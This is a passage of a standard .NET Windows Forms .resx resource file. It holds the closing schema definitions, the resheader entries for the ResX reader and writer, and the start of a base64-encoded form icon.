<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAA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